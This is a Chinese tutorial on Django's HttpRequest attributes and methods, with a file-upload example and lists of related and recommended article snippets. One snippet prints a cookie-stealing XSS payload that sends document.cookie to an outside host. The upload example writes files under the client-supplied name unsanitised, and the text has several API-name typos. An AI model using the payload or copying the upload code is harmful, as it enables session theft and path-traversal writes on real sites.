当一个页面被请求时,django就会创建一个包含本次请求原信息的HttpRequest对象。

django会将这个对象自动传递给响应的视图函数,一般视图函数约定俗成地使用request参数承接这个对象。

1. 请求相关的常用值

  • path_info: 返回用户访问url, 不包括域名
  • method: 请求中使用的HTTP方法的字符串表示,全大写表示。
  • GET: 包含所有HTTP GET参数的类字典对象
  • POST: 包含所有HTTP POST参数的类字典对象
  • body: 请求体,byte类型,request POST的数据就是从body里面提取到的
  • 2. 属性

    django将请求报文中的请求行、头部信息、内容主体封装成HttpRequest类中的属性。除了特殊说明的之外,其他均为只读的。

    (1) HttpRequest.scheme

    表示请求方案的字符串(通常为http或https)

    (2) HttpRequest.body

    一个字符串,代表请求报文的主题。在处理非HTTP形式的报文时非常有用。例如,二进制图片,XML, Json等。

    但是,如果要处理表单数据的时候,推荐还是使用HttpRequest.POST。

    另外,我们还可以用python的类文件方法去操作它,详情参考HttpRequest.read()。

    (3) HttpRequest.path

    一个字符串,表示请求的路径组件(不含域名)。

    比如:"/music/bands/the_beatles/"

    (4) HttpRequest.method

    一个字符串,表示请求使用的HTTP方法,必须使用大写。例如:“GET”、“POST”

    (5) HttpResponse.encoding

    一个字符串,表示提交的数据的编码方式(如果为None则表示使用DEFAULT_CHARSET的设置,默认为"UTF-8")。

    这个属性是可写的,你可以修改它来修改访问表单数据使用的编码。

    接下来对属性的任何访问(例如从GET或POST中读取数据),将使用新的encoding值。

    如果你知道表单数据的编码不是DEFAULT_CHARSET,则使用它。

    (6) HttpRequest.GET

    一个类似于字典的对象,包含HTTP GET的所有参数。详情参考QueryDict对象。

    (7) HttpRequest.POST

    一个类似于字典的对象,如果请求中包含表单数据,则将这些数据封装成QueryDict对象。

    POST请求额可以带有空的POST字典——如果通过HTTP POST方法发送一个表单,但是表单没有任何的数据,QueryDict对象依然会被创建。

    因此,不应该使用if request.POST来检查使用的是否是POST方法,应该使用if request.method == "POST"。

    另外,如果使用POST上传文件的话,文件信息将包含在FILES属性中。

    (8) HttpRequest.COOKIES

    一个标准的Python字典,包含所有的cookie。键和值都为字符串。

    (9) HttpRequest.FILSES

    一个类似于字典的对象,包含所有的上传文件信息。

    FILES中的每个键为中的name, 值则为对应的数据。

    注意,FILES只有在请求的方法为POST, 且提交的带有enctype="multipart/form-data"的情况下才会包含数据,否则,FILES将为一个空的类似于字典的对象。

    (10) HttpRequest.META

    一个标准的字典,包含所有的HTTP首部。具体的头部信息取决于客户端和服务器,下面是一些示例:

    HTTP头部信息 信息含义
    CONTENT_LENGTH 请求的正文的长度(是一个字符串)
    CONTENT_TYPE 请求的正文的MIME类型
    HTTP_ACCEPT 响应可接收的Content-Type
    HTTP_ACCEPT_ENCODING 响应可接收的编码
    HTTP_ACCEPT_LANGUAGE 响应可接收的语言
    HTTP_HOST 客户端发送的HTTP Host头部
    HTTP_REFERER Referring页面
    HTTP_USER_AGENT 客户端的user-agent字符串
    QUERY_STRING 单个字符串形式的查询字符串(未解析过的形式)
    REMOTE_ADDR 客户端的IP地址
    REMOTE_HOST 客户端的主机名
    REMOTE_USER 服务器认证后的用户
    REMOTE_METHOD 一个字符串,例如“GET”或“POST”
    SERVER_NAME 服务器的主机名
    SERVER_PORT 服务器的端口(是一个字符串)

    从上面可以看到,出CONTENT_LENGTH和CONTENT_TYPE之外,请求中的任何HTTP首部转换为META的键时,都会将所有字母大写并将连接符替换为下划线,最后加上HTTP_前缀。

    所以一个叫做X-Bender的头部将转换成META中的HTTP_X_BENDER键。

    (11) HttpRequest.user

    一个AUTH_USER_MODEL类型的对象,表示当前登录的用户。

    如果用户当前没有登录,user将设置为django.contrib.auth.models.AnonymousUser
    的一个实例。

    你可以通过is_authenticated()区分它们。

    例如:
    ```Python
    if request.user.is_authenticated():
    # do something for logged-in users.
    else:
    # do something for anonymous users.
    ```
    user只有当Django启用AuthenticationMiddleware中间件时才可用。

    匿名用户class models.AnonymousUser

    django.contrib.auth.models.AnonymousUser类实现了django.contrib.auth.models.User接口,但具有下面几个不同点:

    is 永远为 None。

    username() 永远 返回空字符串。

    is_staff 和 is_superuser 永远为False。

    is_active 永远为 False。

    gropus和user_permissions永远为空。

    is_anonymous()返回True而不是False。

    is_authenticated() 返回False而不是True。

    set_password()、check_password()、save()和delete()引发NotImplementedError。

    New in Django 1.8:

    新增AnonymousUser.get_username()以更好地模拟django.contrib.auth.modele.User.

    (12) HttpRequest.session

    一个即可读又可写的类似于字典的对象,表示当前的会话.只有当django启用会话的支持时才可用.

    3. 上传文件示例

    ```Python
    def upload(request):
    """
    保存文件上传前,数据需要保存在某个位置。
    默认当上传文件小于2.5M时,django会将上传文件的全部内容读进内存。
    从内存读取一次,写磁盘一次
    当上传文件很大时,django会把上传文件写到临时文件中,然后存放到系统临时临时文件夹中。
    :param request:
    :return:
    """
    if request.method == "POST":
    # 从请求的FILES中获取上传文件的文件名
    # file为页面上type=files类型input的name属性值
    filename = request.FILES["file"].name
    # 在项目目录下新建一个文件
    with open(filename, "wb") as f:
    #从上传的文件对象中一点一点读
    for chunk in request.FILES["file"].chunks():
    f.write(chunk)
    return HttpResponse("upload successfully!")
    ```

    4. 方法

    4.1 HttpRequest.get_host()

    根据从HTTP_X_FORWARDED_HOST(如果打开USE_X_FORWARDE_HOST,默认为false)和HTTP_HOST头部信息返回请求的原始主机。

    如果这两个头部没有提供相应的值,则使用SERVER_NAME和SERVER_PORT,在PEP3333中有详细描述。

    USE_X_FORWARDED_HOST:一个布尔值,用于是否优先使用X-Fforwarded-Host首部,仅在代理设置了该首部的情况下,才可以被使用。例如:"127.0.0.1:8000"

    注意:当主机位于多个代理后面时,get_host()方法将会失败。除非使用中间件重写代理的首部。

    4.2 HttpRequest.get_full_path()

    返回path,如果可以将加上查询字符串。

    例如:"/music/bands/the_beatles/?print=true"

    4.3 HttpRequest.get_signed_cookid()

    语法格式为:
    >HttpRequest.get_signed_cookid(key, default=RAISE_ERROR, salt="", max_age=None)

    返回签名过的Cookie对应的值,如果签名不再合法则返回django.core.signing.BadSignature。

    如果提供default参数,将不会引发异常并返回default的值。

    可选参数salt,可以用来对安全密钥强力攻击提供额外的保护。

    max_age参数用于检查Cookie对应的时间戳以确保Cookie的时间不会超过max_age秒。

    4.4 HttpRequest.is_secure()

    如果请求时安全的,则返回True,即请求是通过HTTPS发起的。

    4.5 HttpRequest.is_ajax()

    如果请求是通过XMLHttpRequest发起的,则返回True,方法是检查HTTP_X_REQUESTED_WITH相应的首部是否是字符串"XMLHttpRequest"。

    大部分现代的javaScript库都会发送这个头部。如果编写自己的XMLHttpRequest调用(在浏览器端),你必须手工设置这个值来让is_ajax()可以工作。

    如果一个响应需要根据请求是否是通过AJAX发起的,并且你正在使用某种形式的缓存如django的cache middleware,你应该使用vary_on_headers("HTTP_X_REQUESTED_WITH")装饰你的视图以让响应能够正确地缓存。

    4.6 注意

    键值对的值是多个的时候,比如checkbox类型的input标签,select标签,需要用:
    ```Python
    request.POST.getlist("hobby")
    ```

    Django基础之request对象的更多相关文章

    1. Django中的request对象组成

      if  request.REQUEST.has_key('键值'): HttpRequest对象的属性 参考: 表 H-1. HttpRequest对象的属性 属      性 描述 path 表示提 ...

    2. django三板斧与request对象方法与ORM

      目录 django三板斧 HttpResponse() render() redirect() 网页获取静态文件样式 request对象方法 post请求问题 针对get请求和post请求执行不同代码 ...

    3. django中的request对象详解

      Request 我们知道当URLconf文件匹配到用户输入的路径后,会调用对应的view函数,并将  HttpRequest对象  作为第一个参数传入该函数. 我们来看一看这个HttpRequest对 ...

    4. django中的request对象

      Request 我们知道当URLconf文件匹配到用户输入的路径后,会调用对应的view函数,并将  HttpRequest对象  作为第一个参数传入该函数. 我们来看一看这个HttpRequest对 ...

    5. Django基础之response对象

      与由DJango自动创建的HttpRequest对象相比, HttpResponse对象是我们的职责范围了. 我们写的每个视图都需要实例化, 填充和返回一个HttpResponse. HttpResp ...

    6. Django基础之JsonResponse对象

      JsonResponse是HttpResponse的子类, 专门用来生成JSON编码的响应. from django.http import JsonResponse response = JsonR ...

    7. django基础2: 路由配置系统,URLconf的正则字符串参数,命名空间模式,View(视图),Request对象,Response对象,JsonResponse对象,Template模板系统

      Django基础二 request request这个参数1. 封装了所有跟请求相关的数据,是一个对象 2. 目前我们学过1. request.method GET,POST ...2. reques ...

    8. django中request对象详解(转载)

      django中的request对象详解 Request 我们知道当URLconf文件匹配到用户输入的路径后,会调用对应的view函数,并将  HttpRequest对象  作为第一个参数传入该函数. ...

    9. django基础知识之QueryDict对象:

      QueryDict对象 定义在django.http.QueryDict request对象的属性GET.POST都是QueryDict类型的对象 与python字典不同,QueryDict类型的对象 ...

    随机推荐

    1. PowerShell 反弹渗透技巧

      Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访 ...

    2. Web文件上传靶场 - 通关笔记

      Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...

    3. 如何给Swagger加注释

      在Startup.cs文件中的ConfigureServices()方法中添加如下代码即可 services.AddSwaggerGen(options => { options.Swagger ...

    4. gogs 搭建

      sudo apt-get install nginx sudo apt-get install git sudo apt-get install mysql-server mysql -u root ...

    5. java读取串口-mfz-rxtx-2.2-20081207-win-x86

      1.下载jar包 RXTXcomm.jar 2.实现代码 package main; import java.awt.*; import java.awt.event.*; import java.i ...

    6. 0502 xss

      playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...

    7. SpringMVC的工作原理(转)

      SpringMVC的工作原理图: SpringMVC流程 1.  用户发送请求至前端控制器DispatcherServlet. 2.  DispatcherServlet收到请求调用HandlerMa ...

    8. debian上安装tmux

      1.安装ncurses库 1.1.获取源码 wget https://invisible-island.net/datafiles/release/ncurses.tar.gz tar xvf ncu ...

    9. Cacti-0.8.8b详细安装及配置步骤

      1.  Cacti环境安装 1.1         安装LAMP环境 安装LAMP环境,当然,如果你有兴趣可以采用编译,我线上Mysql是编译的,其余是yum安装的.在这次实验采用yum安装. 关闭i ...

    10. Djnago模板与标签

      1.模版系统 基本语法 {{ }}和 {% %} 变量相关的用{{}},逻辑相关的用{%%}. 变量 在Django的模板语言中按此语法使用:{{ 变量名 }}. python基础的基本数据类型可以通 ...